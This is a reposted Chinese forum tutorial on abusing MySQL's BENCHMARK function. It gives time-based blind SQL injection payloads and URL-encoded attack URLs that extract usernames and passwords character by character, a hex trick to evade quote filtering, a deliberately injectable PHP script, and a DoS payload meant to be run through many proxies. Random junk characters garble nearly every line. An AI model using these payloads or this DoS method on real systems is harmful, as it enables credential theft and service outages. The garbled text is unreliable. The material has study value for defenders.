找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2076|回复: 0
打印 上一主题 下一主题

MYSQL中BENCHMARK函数的利用

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:03:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
MYSQL中BENCHMARK函数的利用 : _5 ?( \7 E! m) y. z# l; e2 ^
本文作者:SuperHei5 w! Y+ ^/ K1 Q. ?/ ~
文章性质:原创! D# i  a* `( {2 k. q( b. P; _
发布日期:2005-01-02
6 b& m# @3 ]: C" {/ O. R( y完成日期:2004-07-09
# ]/ Z/ h4 p/ W1 _  l8 m8 }第一部! r) G8 P" D0 r: G' D- y& n
& }& K5 \3 n% Q/ L+ \
利用时间推延进行注射---BENCHMARK函数在注射中的利用 / d) Y5 v+ l% s
, U1 l7 E2 h- @' K9 P
一.前言/思路
- N9 Y0 S1 D  q" u8 N0 D" B/ o
& K  b# ?% o" @5 w( X- N# l/ Y$ _  如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。# J) `  H: {; s6 D; i3 D/ @9 K
$ O; V1 X8 J% R  X
  本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。
) L# V* c3 S/ x/ g/ Q6 S1 v
* G8 ~5 J- k7 z  k* J7 M二.关于BENCHMARK函数3 X" ]% Z1 q. x0 W  T7 t

( }- `3 i  ]: H6 ?" z2 ?  在MySQL参考手册里可以看到如下描叙: # x: w) F" v# h: k6 C, z, r

  N! o3 E3 e$ }
! {; f/ r& d( A2 x: S--------------------------------------------------------------------------------! A5 ]' v9 h/ o3 X1 f+ E' G9 h
( U! j9 D6 e/ o. y- A+ R7 m
BENCHMARK(count,expr) " Q! P, c9 _' @1 d0 W
BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。 ) `- ~( R8 ?% b/ k- B. ?- E- l
mysql> select BENCHMARK(1000000,encode("hello","goodbye")); ) X9 z/ T& P* }: t
+----------------------------------------------+ 0 n4 g. R% d5 I- }" p' ^( e
| BENCHMARK(1000000,encode("hello","goodbye")) | # J0 o7 A2 M. L9 B5 N! S& y6 E
+----------------------------------------------+
. ?" N9 e* u! w/ S$ \( n$ L| 0 | , t7 w% U6 ~; l: S( Q/ q
+----------------------------------------------+ ; d! c5 }' Y6 b0 y$ D, o
1 row in set (4.74 sec)
3 y- d- l: C# y
: R6 E% Z; h* t" `& q报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。; i- }, R4 Y4 Z7 Z- O

! R& Q% Z9 s/ v# x% t
( m5 }; T) ~+ h& X+ B  U6 q& c--------------------------------------------------------------------------------5 [4 o: n$ u9 T" N8 {
4 \; ?8 t" ]- I1 `9 C' P+ d
  只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果: 2 P* c8 y  o! ~7 T: b2 J# Z

; Z: |; W- K* G: F/ _/ a# q+ Wmysql> select md5( 'test' ); ; w* w. t5 D% E0 q( u
+----------------------------------+
& f" v8 G7 `- x) f) V6 n| md5( 'test' ) | ; H6 a1 M  U* h1 b8 w9 |; @- e
+----------------------------------+ ; d5 K. D3 Z1 J/ `  T4 y: X
| 098f6bcd4621d373cade4e832627b4f6 | & g, ~0 h" P! P' R0 p$ k) d5 b2 D
+----------------------------------+ * X/ @" [  s$ A6 |8 i4 u* i8 ?
1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec 6 d( T; V3 X7 ?# v  n: y5 X7 l8 P

& G' O* g0 \$ L1 N! Lmysql> select benchmark( 500000, md5( 'test' ) );
. Y! ^5 S9 D( g' L3 i+------------------------------------+ 3 _$ B* D; I; Q  S; k4 ?
| benchmark( 500000, md5( 'test' ) ) | + _: q$ p* _, S0 s! d
+------------------------------------+
( P7 R0 }$ f! q* s' m$ b| 0 |
6 ~9 J1 f0 ^5 n/ s! P0 O6 r+------------------------------------+
2 R6 A& e8 x( h2 Z! o1 row in set (6.55 sec) 〈------------执行时间为6.55 sec
; F2 x$ Z- [/ s0 |9 ?( M4 l ! Y/ I4 D: Y/ Q+ m- B/ E
) e" y2 }. G7 s( k" g  p- e
  由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。 8 S8 {) U# Y, ^- |' Y& X4 ?( C

$ i' Q; @& l/ {; C$ s) b& B! _, y三.具体例子9 V3 F6 `+ v+ q

$ V4 `6 h. W  P  P  首先我们看个简单的php代码:
, p% `3 I+ ?0 I  i/ q; s3 `: B$ Z& ?' ~5 X- e+ f, D* o
< ?php
2 Y& M# L; ^8 q, s: d' z/ H$servername = "localhost";
) ~, x9 E# u, P: C7 ^  @$dbusername = "root";
  U5 y( q9 z* i$dbpassword = "";
$ c; z6 E% w& o* q$dbname = "injection"; & i- a4 V" `1 Z
2 S5 |1 Q3 q8 x: g! y4 I! U& n
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
0 B5 ?/ T( N  W9 a, {4 ^, `9 B3 p- p9 `1 _
$sql = "SELECT * FROM article WHERE articleid=$id";
0 b* W  R' U& {- `; R5 }6 m$result = mysql_db_query($dbname,$sql); $ b# X) m, c. y* ?+ U
$row = mysql_fetch_array($result); ( L7 C2 o, x3 z. B% N

* ^2 `3 k7 g" M: K5 [6 Sif (!$row)
& z. V' ]" x$ ]7 F3 A' M' e/ n{ $ u, C+ _, Y! A. K% U
exit; 6 w) A$ n3 ~% V( P. H' a
}
1 ~5 B6 ?4 Q$ w0 S' z' \?>2 L  i2 g1 G% p
9 f* m3 ^3 e% l+ l: r
6 F/ @9 K! u9 p4 q: g
  数据库injection结构和内容如下:
9 w" o) N5 g6 v5 o( m3 }; D) Q
# 数据库 : `injection` & H0 ~9 @7 D8 l; O4 I/ y: w7 H* ]+ `
# 0 i% _1 M% X/ X& s0 s6 [! z9 {* ^
5 o) y7 b' ~; k1 J. u5 m, I! {
# -------------------------------------------------------- 4 O6 g, ^$ m5 ?  ?* ?

; o& `/ h' |  U0 J7 X# 9 M1 h+ W- l; C3 s4 J, U
# 表的结构 `article` & k, b7 `0 h4 j3 x
#
) b- d: z* F& g6 \1 e3 N! f* a3 s; [) q& B+ w! W8 F8 y, P- [
CREATE TABLE `article` ( 5 o8 i, t* q. W
`articleid` int(11) NOT NULL auto_increment,
) N! z, Q( y3 r" S7 n/ j- B`title` varchar(100) NOT NULL default '', / y+ E/ _! ?. d. \$ _) `5 L8 _
`content` text NOT NULL,
$ I% I6 O9 r& {. k8 k! W' ]0 p7 FPRIMARY KEY (`articleid`)
# r: q+ ]) s! g" k# v) TYPE=MyISAM AUTO_INCREMENT=3 ; & k* d# D( U- J; ^3 P* L" d, n' `& A  W

4 D, X" W  ]' l4 {* H% s#
% j  i* G/ ~- s' k# 导出表中的数据 `article`
$ f- Z  V( A9 Q1 j8 g# ) w6 H/ [- N1 g+ T# ^# U- o
( c8 `/ B6 k: A# `
INSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~');
/ o. r8 Q1 k( Y1 HINSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊'); ( i* r8 Q* u) G0 H2 ]

. m, b3 s- L4 S; u$ s# --------------------------------------------------------
4 S: A2 N. M. j. l- M; `; V' r/ T! F6 a0 Z+ T% g
#
: B6 i* d. ]0 _# 表的结构 `user`
* x1 |: R. a; }0 Q& M, [3 q/ z# ( L; y' T( Y, _2 i

/ O# s6 t6 ]  R# OCREATE TABLE `user` ( 6 x8 |1 Q# h9 J5 O1 h9 Y1 t- N
`userid` int(11) NOT NULL auto_increment, - `( d2 J. t8 H4 r3 s5 |$ X; a
`username` varchar(20) NOT NULL default '',
6 y0 B4 b9 z. ]" ?* Y$ j`password` varchar(20) NOT NULL default '', 7 t8 s* R/ \2 G: K
PRIMARY KEY (`userid`) 5 T/ O8 b, L" t  O
) TYPE=MyISAM AUTO_INCREMENT=3 ;
/ n3 J* ]" x( Y+ y+ j& A5 b
( l* |6 P- l3 |# ) y4 @& S0 _, M
# 导出表中的数据 `user` % w# Z6 U8 T7 v3 x" P+ ^4 N
# 3 X' k2 \9 Y1 k
$ v- _( M* g. d. Q/ X/ }, J
INSERT INTO `user` VALUES (1, 'angel', 'mypass');
1 Q  M7 e/ T6 O! g+ z: r5 _; h! q; rINSERT INTO `user` VALUES (2, '4ngel', 'mypass2');
1 V3 ^6 y% W) K7 l2 A
# r" Z4 x: k. T# S
) e: m* T& C4 y2 t  e  代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:
: Y, w4 A7 d% }  r5 p; m" s! E& E2 l: L1 ]* d
id=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*
* M) Q, ?9 d0 G  O" e4 d( M
0 x) f2 d; a, C& F9 [* C
& R* ^# O* S6 t+ u# ]  上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:
. p4 U2 ~2 n" Z
7 W  i2 Q4 u1 A& Zhttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*
5 ?% O. t5 o2 t1 {: `1 X ) h- Z0 l$ U) Q/ d: b  L3 Q9 l  y
6 [6 h" r& J& z; H; f
  执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。 5 C! h3 U+ E% `6 N$ t$ T, f

; D- Z* ?8 F  q' I+ y5 d; X  注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。 2 w' l$ x5 X# p% z6 w* P3 G
" ]; G( E& ^. o" p4 h+ I. v
第二部7 n" m2 [1 R( d6 |' H/ c
# y! O; f  |7 ^- E' Y& Q
利用BENCHMARK函数进行ddos攻击 4 p* _- m7 t8 b

( X2 u/ s/ v  h9 o* a  其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:, h  m" T, ], w6 E

, Y+ o( ~4 o3 W0 ~1 P: qhttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))
2 t4 ?' u" M5 X- o% K; o: \& m
- A% ~: F% `8 T: ], v7 ~
. c! Z6 D( {1 c* q小结1 L* f3 s% S$ o; W

  B; j% L; Z  h  本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。
2 B9 I$ K. v, p% {$ _0 x+ S% ?* K
) n+ H& b# i+ u1 W, X' b  
* H7 f5 R1 `, u2 E4 {
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表